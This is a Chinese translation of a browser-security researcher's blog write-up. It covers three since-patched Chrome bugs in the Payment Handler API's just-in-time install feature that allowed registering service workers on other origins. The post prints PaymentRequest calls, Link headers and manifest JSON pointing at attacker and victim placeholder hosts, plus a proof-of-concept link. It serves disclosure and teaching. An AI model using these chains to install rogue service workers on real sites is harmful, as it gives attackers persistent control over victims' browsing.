导语:本文将讲述如何通过Chrome的漏洞,来滥用即时支付应用。

当我阅读支付处理程序API方面的资料时,冷不丁看到了下面一句话:

Chrome还支持我们称之为即时(JIT)安装的非标准功能

天哪,我好想闻到了漏洞的味道。所以,我马不停蹄的考察了它的工作原理,读者可以在这里读到这方面的介绍。首先,支付处理程序API允许支付提供商处理发送给它们的支付请求(使用基于Service Worker的API)。什么是支付应用程序的JIT安装功能呢?其实我并不关心它是什么,我只知道存在这一功能。

当使用不受支持的方法调用付款请求时,例如: 

new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });

Chrome会提取supportMethods中指定的网址(例如https://example.com/pay/)。提取的页面需要响应下面指向Payment Method Manifest的响应头部。

Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"

现在,Chrome将提取前面指定的Payment Method Manifest,具体如下所示。

{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }

接下来,Chrome将提取前面指定的Web App Manifest,具体如下所示。

    {
      "name": "Pay with Example",
      ....
      "serviceworker": {
        "src": "service-worker.js",
        "scope": "https://example.com/pay/"
      },
      ...
    }

Chrome将使用“src”规定的JavaScript文件来注册Service Worker,其域为“scope”的值。当然,进行JIT安装时有一个前提条件,即用户必须点击“Pay”按钮。

幸运的是,默认情况下“Pay”按钮会自动获取焦点,因此,我们可以让受害者将回车键按3秒钟,这样就能够触发JIT安装了。

不知道您注意到没有,这个支付应用似乎来自www.google.com。事实证明,您可以在Web App Manifest中使用Service Worker脚本在自己的站点中指定任意“scope”,并且它很乐意在任何域内注册支付应用程序。

    {
      "name": "Pay to Attacker",
      ....
      "serviceworker": {
        "src": "https://attacker.tld/service-worker.js",
       "scope": "https://www.google.com/"
      },
      ...
    }

尽管如此,它的行为看起来还是很奇怪,因为Service Worker的源仍然是攻击者的网站的域名,尽管它是使用Google的域注册的。尽管无法拦截导航/付款请求,但是,我却可以使用某些API,例如Console API,当用户访问google.com的控制台时,它就会记录所有的消息。这个漏洞已经非常接近UXSS了,但还是功亏一篑(我应该尝试使用数据URL脚本)。无论如何,这个漏洞在报告后,不到2天就得到了修复,并且在发布Chrome 68之前禁用了JIT安装功能(我获得了$5K奖金)。我注意到的另一件事是,实际上并不需要在受害者的站点上执行脚本来触发JIT安装。让我们假设,攻击者在自己的网站上建立了以下脚本。

new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });

Chrome将会获取不受支持的方法,该方法会响应以下响应头部。

Link: <https://attacker.tld/payment-manifest.json>; rel="payment-method-manifest"

Chrome按如下方式提取Payment Method Manifest。

{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*"  }

现在,Chrome将从受害者的网站上获取Web App Manifest。这个Web App Manifest可以响应任何Content-Type、Content-Disposition等等。有些人可能会想,“针对JSON文件的Cross-origin No-CORS请求?这不应该被CORB阻止吗?”。是的,的确如此。如果该请求出现在渲染器进程中的话,确实会阻止其响应。但是,这个请求是由浏览器进程发送的,因此,不在CORB的范围内(但是,Chrome需要确保该响应不会泄露给渲染器进程)。

无论如何,Chrome会继续运行,并获取上面指定的Web App Manifest。

    {
      "name": "Pay to Attacker",
      ....
      "serviceworker": {
        "src": "https://victim.tld/user-upload/service-worker.js",
        "scope": "https://victim.tld/user-upload/"
      },
      ...
    }

Service Worker脚本要求为Javascript Content-Type,但Content-Disposition等并不重要。

总之,如果您能够将某些文件上传到受害者的网站,就可以安装Service Worker,并且无需在受害者站点执行脚本(这是一个永恒的XSS)。当然这是一个bug,所以,我提交报告后,不到3周时间就将其修复乐(奖金为$3K)。

因此,只要确保Web App Manifest、Service Worker脚本和Scope URL是同源的,就能够修复第一个bug;通过确保Payment Method Manifest和Payment app来自同一站点,就可以修复第二个bug。好了,让我们看看这些漏洞的利用方法。

攻击者的网站调用: 

new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });

Chrome将获得不受支持的方法,该方法会重定向到攻击者的网站,该网站将对以下响应头部做出反应。

Link: <https://victim.tld/user-upload/payment-manifest.json>; rel="payment-method-manifest"

剩下的事情,恐怕就不用我多说了吧。我们只需要将另一个文件上传到受害者的网站(Payment Method Manifest),并希望受害者的网站重定向至与文件上传目标同源的网站。这样的话,就能够绕过所有安全检查,并且在没有脚本执行的情况下,在受害者的站点中安装Service Worker。我提交报告后,该漏洞也是在2天内修复好的(奖金为$3133.7)。

最后需要说明的是,该JIT支付应用程序可在Chrome 69中正常使用。

那么,现在有哪些可能的情况呢? 如果出现以下情况,您仍可以在同一站点内安装Service Worker:

· 您可以控制响应头部,以响应任意链接头部

· 您可以将同一站点中的JS文件和JSON-looking文件上传到您能够控制响应头部的地方 

我认为控制响应头部是非常困难的一件事情,所以,目前的缓解措施已经足够好了(可是,这难道是滥用子域接管的一种新方式?)。此外,我们已经不再需要受害者按住回车键了,因为如果用户同意的话,Chrome将乐于接受点击或按键。

下面是一个用于同站点Service Worker安装的PoC。

https://attack.shhnjk.com/pay_handler.html
源链接

Hacking more

...